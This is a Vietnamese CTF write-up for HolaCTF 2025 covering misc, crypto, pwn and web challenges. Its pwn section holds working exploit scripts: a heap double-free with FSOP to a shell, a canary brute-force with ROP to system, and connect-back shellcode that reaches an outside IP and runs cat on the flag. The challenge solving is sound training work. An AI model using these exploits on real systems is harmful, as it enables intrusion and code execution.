---
# System prepended metadata

title: HolaCTF 2025 - CyberCh1ck

---

# HolaCTF 2025 - CyberCh1ck

![image](https://hackmd.io/_uploads/SyPXGjx5gg.png)


---
## MISC

### lunaDBv2
![image](https://hackmd.io/_uploads/S1cvrogclg.png)



Nhận định & Format file

* `lunadbv2` thực chất là **tar** (đầu có `ustar`), bên trong có:

  * `build/main.rs` — source code builder
  * `build/secret.lunadb` — file DB
* DB `secret.lunadb` có chữ ký `LUNA` + các vùng đánh dấu:

  * `H_START/H_END` — header (tên DB, version, registered name, license bytes…)
  * `D_START/D_END` — **data** (các note/record)
  * `F_START/F_END` — **keys** (mỗi key 8 bytes)
* Mỗi note được serialize theo thứ tự:

  ```
  u16 note_id
  string access_token
  string first_name
  string last_name
  string email
  string title
  u64   key_index_field (mask 1-bit chỉ vị trí key trong F section; nếu rỗng/invalid thì = 0xFFFFFFFFFFFFFFFF)
  bytes encrypted_content  (DES-ECB, PKCS#7, key 8 bytes)
  u64 creation_ts
  u64 modification_ts
  u8  is_suspended (bool)
  ```
* **Mã hoá:** `DES-ECB` (OpenSSL), pad PKCS#7, key 8 byte lấy từ `F_START..F_END`. `key_index_field` là bitmask 64-bit: vị trí bit set = index key.

Khai thác

* Parse `F` để lấy danh sách key 8 byte.
* Iterate từng note trong vùng `D`, lấy `key_index_field` ⇒ index key ⇒ DES-ECB decrypt `encrypted_content` ⇒ bóc pad ⇒ đọc UTF-8.
* Tìm note có chứa `HOLACTF{`.

Kết quả

GPT đã parse và decrypt được **5002** note, trong đó có 1 note chứa flag:

**Flag:**
`HOLACTF{4_c0Ol_Cu5t0m_f1lE_5truC7}`


---



### Sanity Check
![image](https://hackmd.io/_uploads/HyZYSog5le.png)

Inspect vào https://holactf2025.ehc-fptu.club/posts/afc27b80 rồi ctrl+f là ra:  
![image](https://hackmd.io/_uploads/r125S2lcll.png)
> Flag:  HOLACTF{th1s_s4n1ty_ch3ck_1s_w1ld} 

---


### Weird png
![image](https://hackmd.io/_uploads/SJW9Sseqee.png)


Phân tích nhanh

* File `weird.png` có header PNG hợp lệ (`89504e47…`) nhưng **CRC của IHDR = 0**, nên mở bằng viewer sẽ fail.
* Kích thước đúng **512 bytes** và **kết thúc bằng `0x55AA`** → chuẩn **boot sector** (MBR) ngụy trang dạng PNG.
* Từ offset sau IHDR thấy bytecode **16-bit real mode**: `8C C8 (mov ax, cs)`, `8E D8 (mov ds, ax)`, … và có `int 10h` (BIOS teletype) → bootloader in thông điệp.
* Chuỗi không nằm “trần” trong file: code **build chuỗi trên stack** bằng các cặp lệnh `mov ax, imm16; xor ax, 0x1234; push ax`, rồi `mov bp, sp` và loop:

  ```
  mov al, [bp]
  inc bp
  or al, al
  jz end
  mov ah, 0x0E
  int 10h
  jmp loop
  ```

  ⇒ Ta chỉ cần trích các immediate, **gỡ XOR 0x1234**, đảo thứ tự push (vì in từ đáy stack) và ghép theo little-endian.

Flag

**`HOLACTF{3A5Y_b0OT_104D3R_727_}`**

```python!
import sys, zipfile

def read_bytes(path):
    if path.lower().endswith(".zip"):
        with zipfile.ZipFile(path, "r") as z:
            name = next(n for n in z.namelist() if n.lower().endswith(".png"))
            return z.read(name)
    return open(path, "rb").read()

def extract_flag(data):
    code = data[33:]  # skip PNG sig+IHDR
    vals = []
    i = 0
    ax = None
    while i < len(code):
        b = code[i]
        if b == 0xB8:  # mov ax, imm16
            ax = int.from_bytes(code[i+1:i+3], 'little')
            i += 3
        elif b == 0x35:  # xor ax, imm16
            imm = int.from_bytes(code[i+1:i+3], 'little')
            if ax is not None:
                ax ^= imm
            i += 3
        elif b == 0x50:  # push ax
            if ax is not None:
                vals.append(ax)
            i += 1
        else:
            i += 1
    # reverse stack order + little endian
    buf = b''.join(v.to_bytes(2,'little') for v in reversed(vals))
    return buf.split(b'\x00',1)[0].decode()

if __name__ == "__main__":
    path = sys.argv[1] if len(sys.argv)>1 else "weird.png"
    data = read_bytes(path)
    print(extract_flag(data))
```
> ![image](https://hackmd.io/_uploads/Bky7Shlqgg.png)

---



### the REGEX
![image](https://hackmd.io/_uploads/H1boSjeqgx.png)

Ý tưởng & Quan sát

* Server cho 10 round; mỗi round trả về **regex đã neo** (`^…$`), yêu cầu 1 chuỗi **ASCII printable** (0x20–0x7E), ≤256 bytes, đúng trong **<5s**.
* Pattern kiểu “boss” dùng **xếp chồng lookahead**:

  * Khóa độ dài: `(?=.{N}$)` hoặc `(?:.{N})$`.
  * Ép ký tự tại vị trí k: `(?=.{k}[class])`, `(?=.{k}X)`, `(?=.{k}\d|\w|\s|…)`.
  * Ràng buộc **bằng nhau** với named group: `(?=.{a}(?P<X>… ).{b}(?P=X))` ⇒ vị trí `a` và `a+1+b` phải giống nhau (và cùng nằm trong class/literal đó).

Chiến lược

* Biến regex → **bài toán ràng buộc ký tự theo vị trí** (CSP):

  1. Lấy N.
  2. Khởi tạo `allowed[i] = {tất cả printable}` cho i∈\[0..N-1].
  3. Với mỗi lookahead:

     * `(?=.{k}[S])` ⇒ `allowed[k] ∩= parse_class(S)`.
     * `(?=.{k}X)` ⇒ `allowed[k] ∩= {X}`; với `\d \w \s \D \W \S` thì map sang tập tương ứng.
     * `(?=.{a}(?P<X>Cap).{b}(?P=X))` ⇒
       `allowed[a] ∩= set(Cap)` và `allowed[a+1+b] ∩= set(Cap)`; thêm cặp **bằng nhau** `(a, a+1+b)`.
  4. Lan truyền ràng buộc: nếu một bên của cặp đã cố định, gán bên còn lại; vị trí chỉ còn 1 ký tự thì chốt.
  5. Điền nốt phần còn lại (chọn bất kỳ ký tự trong `allowed[i]`), rồi **verify** bằng `re.fullmatch()`; nếu không khớp thì thử ngẫu nhiên trong miền cho đến khi khớp.

Ví dụ round mẫu

```
^(?=.{10}$)(?=.{3}[f-w])(?=.{4}[f-y])(?=.{6}[d-z])
(?=.{3}(?P<E0>o).{1}(?P=E0))(?=.{1}(?P<E1>V).{5}(?P=E1))(?:.{10})$
```

Suy ra (đánh số từ 0):

* pos1='V' và pos7='V'; pos3='o', pos5='o';
* pos4∈\[f–y], pos6∈\[d–z].
  Chọn phần còn lại tùy ý ⇒ chuỗi hợp lệ: `AVBofodVCD`.

Khai thác (automation)

* Viết client TCP đọc regex từng dòng → áp dụng thuật toán trên → gửi đáp án.
* Sau 10/10 round server in `HOLACTF{...}`.
* Lệnh chạy (ví dụ):
  `python regx.py --host 127.0.0.1 --port 54522`

Lưu ý

* Chỉ dùng ký tự printable; **dot `.`** trong ràng buộc vị trí coi như “không hạn chế”.
* Đảm bảo thời gian mỗi round <5s ⇒ hiện thực theo ràng buộc vị trí (không brute force toàn chuỗi).
* Có thể cần hỗ trợ `\d \w \s` và phủ định của chúng; còn lại hiếm khi xuất hiện.

> Kết luận: coi regex lookahead như các “luật” cục bộ theo chỉ số ký tự, giải dưới dạng CSP → build chuỗi hợp lệ → tự động hóa 10 vòng để lấy flag.



```python!
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
REGEX EXTREME – fully automated TCP solver (stdlib only)
- Connects to host/port, reads each round's regex, constructs a matching
  ASCII-printable string under 256 bytes, and submits within 5 seconds.
- Handles common "final boss" pattern style: total-length guard, stacked
  lookaheads that pin characters at positions via char-classes or literals,
  and equality constraints via named-group backreferences.

Usage:
  python3 regex_flag_runner.py --host 127.0.0.1 --port 54522
  # or dry-run a single pattern locally:
  python3 regex_flag_runner.py --dry "^(?=.{10}$)(?=.{3}[f-w])...$"
"""
import argparse, socket, sys, re, random, time

PRINTABLE = [chr(i) for i in range(0x20, 0x7F)]
PRINTABLE_SET = set(PRINTABLE)
DIGITS = set("0123456789") & PRINTABLE_SET
LOWER = set("abcdefghijklmnopqrstuvwxyz") & PRINTABLE_SET
UPPER = set("ABCDEFGHIJKLMNOPQRSTUVWXYZ") & PRINTABLE_SET
ALPHA = LOWER | UPPER
WORD = ALPHA | DIGITS | set("_")
SPACE = set(" ")  # printable whitespace within the allowed range
DOTSET = PRINTABLE_SET  # for '.' wildcard in our constraint context

def token_set(tok: str) -> set:
    if tok == 'd': return DIGITS
    if tok == 'w': return WORD
    if tok == 's': return SPACE
    if tok == 'D': return PRINTABLE_SET - DIGITS
    if tok == 'W': return PRINTABLE_SET - WORD
    if tok == 'S': return PRINTABLE_SET - SPACE
    return None

def parse_char_class(body: str) -> set:
    """
    Parse a character class body like '^A-F0-9_\s' (supports \d \w \s and their negations).
    Keeps result within printable ASCII. Basic ranges (a-z) are supported.
    """
    s = set()
    invert = False
    i = 0
    if body.startswith('^'):
        invert = True
        body = body[1:]
    while i < len(body):
        c = body[i]
        if c == '\\' and i+1 < len(body):
            t = body[i+1]
            ts = token_set(t)
            if ts is not None:
                s.update(ts); i += 2; continue
            # escape sequence as literal (e.g. \], \-, \{, \})
            s.add(t); i += 2; continue
        if i+2 < len(body) and body[i+1] == '-' and body[i+2] != ']':
            start = body[i]; end = body[i+2]
            # clamp to printable
            rng = [chr(x) for x in range(ord(start), ord(end)+1)]
            s.update(ch for ch in rng if ch in PRINTABLE_SET)
            i += 3
        else:
            s.add(c); i += 1
    s = s & PRINTABLE_SET
    return (PRINTABLE_SET - s) if invert else s

def first_or_default(it, default=None):
    for x in it: return x
    return default

# --- Constraint patterns -------------------------------------------------------
# length guard styles
LENGTH_RE = re.compile(r"\(\?=\.\{(\d+)\}\$\)")
LENGTH_ALT_RE = re.compile(r"\(\?:\.\{(\d+)\}\)\$")

# class-at-position: (?=.{k}[...])
CLASS_AT_POS_RE = re.compile(r"\(\?=\.\{(\d+)\}\[([^\]]+)\]\)")

# literal-at-position: (?=.{k}X) or escaped like (?=.{k}\{) or token (?=.{k}\d) etc.
LITERAL_AT_POS_RE = re.compile(r"\(\?=\.\{(\d+)\}(\\.|[^\\\[\(])\)")

# named backref pair: (?=.{a}(?P<NAME>[... or literal]).{b}(?P=NAME))
EQ_PAIR_NAMED_RE = re.compile(
    r"\(\?=\.\{(\d+)\}\(\?P<([A-Za-z_]\w*)>(\[.*?\]|\\?.)\)\.\{(\d+)\}\(\?P=\2\)\)"
)

def build_constraints(pat: str):
    # Length N
    N = None
    m = LENGTH_RE.search(pat)
    if m:
        N = int(m.group(1))
    else:
        m2 = LENGTH_ALT_RE.search(pat)
        if m2: N = int(m2.group(1))
    if N is None: N = 32  # fallback

    allowed = [set(PRINTABLE) for _ in range(N)]
    eq_pairs = []  # list[(a,b)] requiring equality (and same allowed set if capture is a class)

    # apply class-at-position
    for m in CLASS_AT_POS_RE.finditer(pat):
        pos = int(m.group(1))
        cls_body = m.group(2)
        cls_set = parse_char_class(cls_body)
        if 0 <= pos < N:
            allowed[pos] &= cls_set

    # apply literal/token at position
    for m in LITERAL_AT_POS_RE.finditer(pat):
        pos = int(m.group(1))
        raw = m.group(2)
        if raw.startswith('\\') and len(raw) == 2:
            ts = token_set(raw[1])
            if ts is not None:
                if 0 <= pos < N: allowed[pos] &= ts
                continue
            lit = raw[1]
        else:
            lit = raw
        if lit == '.':
            # wildcard -> no extra constraint beyond printable
            continue
        if 0 <= pos < N:
            allowed[pos] &= {lit}

    # equality pairs via named capture + backref
    for m in EQ_PAIR_NAMED_RE.finditer(pat):
        start = int(m.group(1))
        cap = m.group(3)
        gap = int(m.group(4))
        pos_a = start
        pos_b = start + 1 + gap
        if not (0 <= pos_a < N and 0 <= pos_b < N):
            continue
        if cap.startswith('[') and cap.endswith(']'):
            cls_set = parse_char_class(cap[1:-1])
            allowed[pos_a] &= cls_set
            allowed[pos_b] &= cls_set
            eq_pairs.append((pos_a, pos_b))
        else:
            # literal or escaped token/char
            if cap.startswith('\\') and len(cap) == 2:
                ts = token_set(cap[1])
                if ts is not None:
                    allowed[pos_a] &= ts
                    allowed[pos_b] &= ts
                    eq_pairs.append((pos_a, pos_b))
                    continue
                lit = cap[1]
            else:
                lit = cap[0]
            allowed[pos_a] &= {lit}
            allowed[pos_b] &= {lit}
            # technically eq constraint is implied already

    return N, allowed, eq_pairs

def realize_string(N, allowed, eq_pairs, pat, max_tries=4000):
    # Greedy fixpoint for forced positions
    s = [None]*N
    changed = True
    while changed:
        changed = False
        # singletons
        for i in range(N):
            if s[i] is None and len(allowed[i]) == 1:
                s[i] = next(iter(allowed[i])); changed = True
        # propagate equalities
        for a,b in eq_pairs:
            if s[a] is not None and s[b] is None and s[a] in allowed[b]:
                s[b] = s[a]; changed = True
            if s[b] is not None and s[a] is None and s[b] in allowed[a]:
                s[a] = s[b]; changed = True

    # deterministic fill (prefer smallest char to be reproducible)
    def pick_lowest(st: set): 
        return min(st) if st else None

    t = list(s)
    # fill eq-pairs from intersections
    for a,b in eq_pairs:
        inter = allowed[a] & allowed[b]
        if not inter: break
        if t[a] is None and t[b] is None:
            ch = pick_lowest(inter)
            t[a] = ch; t[b] = ch
        elif t[a] is None and t[b] in inter:
            t[a] = t[b]
        elif t[b] is None and t[a] in inter:
            t[b] = t[a]
    # fill remaining
    ok = True
    for i in range(N):
        if t[i] is None:
            if not allowed[i]:
                ok = False; break
            t[i] = pick_lowest(allowed[i])
    if ok:
        cand = "".join(t)
        try:
            if re.fullmatch(pat, cand): 
                return cand
        except re.error:
            pass

    # randomized repair
    rng = random.Random(2025)
    for _ in range(max_tries):
        t = list(s)
        # eq-pairs
        for a,b in eq_pairs:
            inter = allowed[a] & allowed[b]
            if not inter: break
            if t[a] is None and t[b] is None:
                ch = rng.choice(list(inter)); t[a]=ch; t[b]=ch
            elif t[a] is None and t[b] in inter:
                t[a] = t[b]
            elif t[b] is None and t[a] in inter:
                t[b] = t[a]
        # remaining
        valid = True
        for i in range(N):
            if t[i] is None:
                if not allowed[i]:
                    valid = False; break
                t[i] = rng.choice(list(allowed[i]))
        if not valid: continue
        cand = "".join(t)
        try:
            if re.fullmatch(pat, cand):
                return cand
        except re.error:
            # If the service uses a slightly different flavor, still try random
            pass

    # hail mary: random printable of length N until it fits
    for _ in range(max_tries):
        cand = "".join(random.choice(PRINTABLE) for _ in range(N))
        try:
            if re.fullmatch(pat, cand):
                return cand
        except re.error:
            break
    raise ValueError("Failed to realize string for pattern")

def solve_one(pat: str) -> str:
    pat = pat.strip()
    N, allowed, eq_pairs = build_constraints(pat)
    return realize_string(N, allowed, eq_pairs, pat)

# --- IO (TCP + line reader) ---------------------------------------------------
def recvline(sock, buf):
    while b"\n" not in buf[0]:
        chunk = sock.recv(4096)
        if not chunk:
            break
        buf[0] += chunk
    if b"\n" in buf[0]:
        line, buf[0] = buf[0].split(b"\n", 1)
        return line.decode("utf-8", "ignore")
    if buf[0]:
        line = buf[0]; buf[0] = b""
        return line.decode("utf-8", "ignore")
    return ""

def run_tcp(host: str, port: int):
    print(f"[+] Connecting to {host}:{port} ...")
    with socket.create_connection((host, port), timeout=10) as s:
        s.settimeout(10)
        buf = [b""]
        flag = None
        while True:
            line = recvline(s, buf)
            if line == "":
                break
            print(line)
            if "HOLACTF{" in line:
                flag = line.strip()
                break
            # Detect the regex line (usually starts with ^ and ends with $)
            if re.match(r"\s*\^.*\$\s*$", line):
                pat = line.strip()
                try:
                    ans = solve_one(pat)
                except Exception as e:
                    print("[!] Solver fallback due to:", e)
                    # try quick randoms with detected length
                    m = LENGTH_RE.search(pat) or LENGTH_ALT_RE.search(pat)
                    L = int(m.group(1)) if m else 10
                    for _ in range(1000):
                        cand = "".join(random.choice(PRINTABLE) for _ in range(L))
                        try:
                            if re.fullmatch(pat, cand):
                                ans = cand; break
                        except re.error:
                            ans = cand; break
                    else:
                        ans = "A"*L
                s.sendall((ans + "\n").encode())
                print(f"Answer> {ans}")
        if flag:
            print("[+] FLAG:", flag)
        else:
            print("[*] Disconnected (flag not detected in stream).")

def run_dry(pat: str):
    print("[dry] pattern:", pat)
    ans = solve_one(pat)
    print("[dry] answer :", ans)

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=54522)
    ap.add_argument("--dry", help="Solve one pattern locally and exit")
    args = ap.parse_args()
    if args.dry:
        run_dry(args.dry)
    else:
        run_tcp(args.host, args.port)

if __name__ == "__main__":
    try:
        main()
    except Exception as e:
        print("[!] Error:", e)
    finally:
        input("\nDone. Press Enter to exit...")
```
> ![image](https://hackmd.io/_uploads/SkUI8hgqlx.png)

---




## CRYPTO

### Cs2Trash
![image](https://hackmd.io/_uploads/Bk848ol5eg.png)

Thử thách mã hóa cùng một thông điệp với e=65537 dưới ba môđun khác nhau. Mỗi môđun cho trước thực chất là số nguyên tố, do đó φ(n)=n−1 đã biết. Điều này có nghĩa là bạn có thể tính số mũ riêng d≡e⁻¹ (mod n−1) và giải mã chỉ với một trong ba bộ ba (do đó "một môđun là đủ").
```python!
from Crypto.Util.number import long_to_bytes
e = 65537
n = 106274132069853085771962684070654057294853035674691451636354054913790308627721
c = 40409669713698525444927116587938485167766997176959778633087672968720888190012

d = pow(e, -1, n-1)          # n is prime ⇒ φ(n)=n-1
m = pow(c, d, n)
print(long_to_bytes(m))       # b'HOLACTF{ju5t_a_b4s1c_CRT}'
```

---


### EnigmaHardCode
![image](https://hackmd.io/_uploads/H1FrIil5lg.png)


Tóm tắt

* Cho: 3 rotor + ring, 1 reflector, plugboard thiếu **1 dây**, và ciphertext
* Dựa vào flag format `HOLACTF{.*}` → dùng “crib” **`HOLACTF{`** để suy luận cấu hình còn thiếu.

Cấu hình máy

* **Reflector:** UKW-C `FVPJIAOYEDRZXWGCTKUQSBNMHL`
* **Rotors (L-M-R):** `II – III – I`

  * II `AJDKSIRUXBLHWTMCQGZNPYFVOE` (**Ring E**)
  * III `BDFHJLCPRTXVZNYEIWGAKMUSQO` (**Ring H**)
  * I `EKMFLGDQVZNTOWYHXUSPAIBRCJ` (**Ring C**)
* **Plugboard (từ hình):** `AO, DP, ER, FT, IU, JW, KY, LX` + **thiếu 1 cặp**
* **Crib:** “`HOLACTF{`”

Chiến lược

1. Giữ nguyên reflector, thứ tự rotor và **ringstellung** theo đề.
2. Dùng crib-drag: thử toàn bộ **Grundstellung** (26³) đồng thời brute-force **cặp dây còn thiếu** (chọn trong các chữ chưa cắm).
3. Với mỗi cấu hình, chỉ giải 8 ký tự đầu để kiểm tra có ra **`HOLACTF{`** hay không → lọc cực nhanh.
4. Thu được đúng **1 nghiệm**.

Nghiệm duy nhất

* **Grundstellung:** `V M X`
* **Cặp dây còn thiếu:** `C ↔ V`
* (Plugboard đầy đủ: `AO, DP, ER, FT, IU, JW, KY, LX, CV`)

> Ý tưởng chính: dùng định dạng flag làm **crib** để khóa được cả vị trí rotor lẫn cặp plugboard bị mất. Chỉ một cấu hình khớp → flag duy nhất.


---



### ImLosingYou
![image](https://hackmd.io/_uploads/HJq88sgcex.png)

Vì đề dùng e=2 và thông điệp m đủ nhỏ so với n nên m² < n ⇒ phép “mod n” không làm thay đổi gì: c chính là m² trong số học thường. Chỉ cần lấy căn nguyên vẹn của c là ra m; kiểm tra thêm thấy m − mod_m là một số 79-bit, khớp với getrandbits(80).

```python!
from math import isqrt

n = 5655306554322573...266488587
c = 2490644801761448...682934025
mod_m = 4990636033374352...602090122856806

m = isqrt(c)
assert m*m == c                   # chứng minh c là perfect square
flag = m.to_bytes((m.bit_length()+7)//8, 'big').decode()
print(flag)                       # HOLACTF{f33ls_l1k3_l0s1ng_h3r}

# kiểm tra “lost part”
delta = m - mod_m
print(delta.bit_length())         # 79 (≈ getrandbits(80))
```

---


### Vigenere có dấu?
![image](https://hackmd.io/_uploads/BJYvUje9ll.png)

1. **Dùng đúng bảng chữ cái** như trên để ánh xạ chỉ số ký tự (mod 89).
2. **Kasiski** trên ciphertext (bỏ khoảng trắng/punct.): khoảng cách các lặp cho thấy **key length = 7**.
3. Với $k=7$, **tối ưu từng cột** (Caesar theo bảng trên) bằng một hàm chấm điểm ngôn ngữ Việt (đếm bigram/word phổ biến như *ng, nh, ch, th, qu, không, được, trong,…* sau khi **bỏ dấu** để chấm).
4. Ra **key = `phuthuy`**, giải toàn bộ là tiếng Việt mạch lạc. Đoạn cuối ghi rõ:
   *“câu chuyện hay đúng không? còn đây là flag của bạn, hãy cho nó … cách bằng gạch dưới, bỏ hết dấu tiếng việt trước khi nộp nhé: "krische độc ác"”*
   ⇒ Chuẩn hoá → **`krische_doc_ac`** ⇒ **`HOLACTF{krische_doc_ac}`**.

---


## PWN

### Babyheap
![image](https://hackmd.io/_uploads/Hke5dLje9lx.png)
- Đây là một bài heap với bug double free khi bài không check xem `book` đã được free hay chưa. 
- Hơn nữa nó còn không memset vùng data khiến ta có thể leak được libc. Còn heap ta dùng [cái này](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/decrypt_safe_linking.c). Mình bruce force 1 byte heap.
- Về kĩ thuật mình dùng [cái này](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/fastbin_dup_into_stack.c). Mình ghi đè con trỏ của tcache rồi FSOP để lấy shell.
- Final script:
```py
#!/usr/bin/python3
from pwn import *
from time import sleep
# context.log_level='debug'

e = ELF('chall_patched', checksec=False)
l = ELF('libc.so.6', checksec=False)
context.binary = e

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
bin = lambda : next(l.search(b'/bin/sh'))
while True:
    try:    
        if args.REMOTE:
            p = remote('127.0.0.1',45953)
        else:
            p = process(e.path)

        def GDB():
            if not args.REMOTE:
                gdb.attach(p, gdbscript='''
brva 0x000000000000133A
                c
                ''')
        def create(idx, size, content):
            sla(b'>', b'1')
            sln(b':', idx)
            sln(b':', size)
            sa(b':', content)
        def delete(idx):
            sla(b'>', b'2')
            sln(b':', idx)
        def show(idx):
            sla(b'>', b'3')
            sln(b':', idx)
        def algo(cipher: int) -> int:
            key = 0
            plain = 0

            for i in range(1, 6):
                bits = 64 - 12 * i
                if bits < 0:
                    bits = 0
                mask64 = (1 << 64) - 1

                plain = (((cipher ^ key) >> bits) << bits) & mask64
                key = plain >> 12

                print(f"round {i}:")
                print(f"key:    {key:#018x}")
                print(f"plain:  {plain:#018x}")
                print(f"cipher: {cipher:#018x}\n")

            return plain

        create(0,0x500,b'a')
        create(1,0x50,b'a')
        create(2,0x50,b'a')

        delete(2)
        delete(1)
        delete(0)

        create(0,0x50,b'a')

        show(0)
        ru(b'tent: ')
        leak = u64(r(6).ljust(8,b'\x00'))
        log.info(f"leak: {hex(leak)}")

        result = algo(leak)-0x870
        print(f"result: {result:#018x}")
        if result & 0xff == 0x00:
            info(success("Found correct plain!"))
            pass
        else:
            continue
        create(1,0x60,b'a')
        show(1)
        ru(b'tent: ')
        l.address = u64(r(6).ljust(8,b'\x00'))-0x21b161
        log.info(f"l.address: {hex(l.address)}")

        create(0,0x200,b'a')
        create(1,0x200,b'a')

        delete(0)
        delete(1)

        for i in range(9):
            create(i,0x70,b'a')
        for i in range(7):
            delete(i)

        delete(7)
        delete(8)
        delete(7)

        for i in range(7):
            create(i,0x70,b'a')
        # sl(b'')
        # p.wait(0.2)
        # sla(b'>', b'1')
        # sln(b':', 7)
        # sln(b':', 0x70)
        # s(p64(((result+0xb70)>>12)^(result+0x520)))
        create(0,0x70,p64(((result+0xb70)>>12)^(result+0x520)))
        create(0,0x70,p64(((result+0xb70)>>12)^(result+0x520)))
        create(0,0x70,p64(((result+0xb70)>>12)^(result+0x520)))
        create(0,0x70,p64(((result+0x520)>>12)^(l.sym._IO_2_1_stdout_)))

        create(0,0x200,b'a')
        fp = FileStructure()
        fp.flags = b' sh\0'
        fp._lock = p64(l.sym['_IO_stdfile_1_lock'])
        fp._wide_data = p64(l.sym['_IO_2_1_stdout_']-0x10)
        fp.unknown2 = p64(0)*4 + p64(l.sym['system']) + p64(l.sym['_IO_2_1_stdout_']+0x60)
        fp.vtable = p64(l.address+0x216f58-0x38)
        payload = bytes(fp)
        GDB()

        create(0,0x200,payload)


        p.interactive()
    except Exception as e:
        pass
        # print(e)
        # continue
```

---

### Login
![image](https://hackmd.io/_uploads/SJHFIje9xx.png)
- Bài này ta có thể dùng hàm kiểm tra này để bruce force canary vì nó chỉ kiểm tra đến độ dài của một trong hai biến, từ đó ROP leak libc ([kĩ thuật](https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets#leaking-libc)) và lấy shell:
![image](https://hackmd.io/_uploads/ry_Ttnlcel.png)

- Final scipt:
```py
#!/usr/bin/python3
from pwn import *
from time import sleep
context.log_level='debug'
# 
e = ELF('chall_patched', checksec=False)
l = ELF('libc.so.6', checksec=False)
context.binary = e

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
bin = lambda : next(l.search(b'/bin/sh'))

if args.REMOTE:
    p = remote('127.0.0.1',35715)
else:
    p = process(e.path)

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
                   b*0x000000000040158B
        c
        ''')

GDB()

known_canary = b'\xff'
log.info("Starting canary brute-force...")
log.info(f"Known canary so far: {known_canary.hex()}")

for i in range(1, 8):
    found_byte = False
    for byte_val in range(1,256):
        payload = known_canary
        payload += bytes([byte_val])+b'\x00'
        sla(b':',b'1')
        sa(b'password:',payload)
        output = p.recvline()
        output = p.recvline()
        info(output)
        if b'Login successfully!' in output:
                known_canary += bytes([byte_val])
                log.success(f"Found byte: {hex(byte_val)}")
                log.info(f"Known canary so far: {known_canary.hex()}")
                found_byte = True
                break

info(known_canary[::-1])
patched = known_canary.replace(b"\xff", b"\x00")

sla(b':',b'2')
sla(b':',b'\x00'*0x38+patched+p64(0x4043e0+0x40+0x300)+p64(e.plt.gets)*2+p64(0x000000000040101a)+p64(e.plt.printf)+p64(0x00000000004014E0))

sla(b':',b'3')
sleep(0.2)
sl(b"a")
sleep(0.2)
sl(b"%21$" + p8(u8(b"p")+1))
raw=p.recvuntil(b'40',drop=False)
leaked_str = raw.decode().strip()  
value = int(leaked_str, 16)        
l.address = value-0x29e40
info(f"libc base: {hex(l.address)}")

sl(b'\x00'*0x38+patched+p64(0x404018+0x40)+p64(l.address+0x000000000002a3e5)+p64(bin())+p64(0x000000000040101a)+p64(l.sym.system))

p.interactive()

```

---

### Mute
![image](https://hackmd.io/_uploads/rJG98se9gx.png)
- Đây là một bài revert shell, vì mình thử lấy shell không được nên mình cat thằng flag luôn.
- Final script:
```py
#!/usr/bin/python3
from pwn import *
from time import sleep
context.log_level='debug'

e = ELF('chall', checksec=False)

context.binary = e

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
bin = lambda : next(l.search(b'/bin/sh'))

if args.REMOTE:
    p = remote('127.0.0.1',38301)
else:
    p = process(e.path)

def GDB():
    if not args.REMOTE:
        gdb.attach(p, gdbscript='''
b*0x40133a
        c
        ''')


asm_code =asm( """
mov rax, 41
mov rdi, 2
mov rsi, 1
xor rdx, rdx
syscall
mov rdi, rax
mov rcx, 0x2415a28b059e0002    

push 0                
push rcx                    
mov rsi, rsp               


mov rdx, 16
mov rax, 42
syscall
mov rsi, 0
dup_loop:
    mov rax, 33
    syscall
    inc rsi
    cmp rsi, 3
    jne dup_loop
xor rsi, rsi
push rsi
    xor rdx, rdx
    
    push rdx
    mov rax, 0x7478742e67616c66
    push rax
    mov r9, rsp

    push rdx
    mov rax, 0x7461632f6e69622f
    push rax
    mov r8, rsp
    
    push rdx
    push r9
    push r8
    mov rsi, rsp
    
    mov rdi, r8
    push 59
    pop rax
    syscall          
 
""")

s(asm_code)


p.interactive()



```

---

### File manager
![image](https://hackmd.io/_uploads/SJVjLieqge.png)
- Bài này đã hạn chế việc mở file flag.txt và self. Nhưng có một trick đó là thay self bằng pid là được. Ta chỉ cần DEBUG và xem thử lúc đấy pid và fd của file flag.txt là bao nhiêu.
- Payload: `/proc/9/fd/6`

## WEB

### Sanity check
![image](https://hackmd.io/_uploads/Byo2Iieqxl.png)

Chall cho route `/update` để ghi dữ liệu vào file nhưng filter chỉ kí tự `0` và `1`. Để get được flag thì ta cần có `Holactf` trong nội dung file.

![image](https://hackmd.io/_uploads/HyShihZqee.png)

Ở đây dữ liệu được truyền vào dưới dạng `json` nên chúng ta có truyền vào dưới dạng `dict` để bypass

![image](https://hackmd.io/_uploads/H1mN32Zqgl.png)

```
import requests

BASE_URL = 'http://localhost:5000'

z = ['0' * (i + 1) for i in range(256)]
o = ['0' * i + '1' for i in range(256)]

d = {key: '' for key in z + o}
d['0'] = 'Holactf'

s = requests.Session()

s.post(f'{BASE_URL}/', data={'username': 'sdcclds'})

p = {'data': d}
s.post(f'{BASE_URL}/update', json=p)

resp = s.get(f'{BASE_URL}/get_flag')
if resp.status_code == 200:
    fl = resp.json().get('flag')
    print(fl)
```

---


### another_hell_ehc
![image](https://hackmd.io/_uploads/B18pIslqlx.png)

Đây là một chall về bug upload file, phân tích source ta thấy chỉ cho phép upload `jpg`, `jpeg`, `png`, `gif`. Và còn có openresty.

![image](https://hackmd.io/_uploads/rkD1RnZ5ee.png)

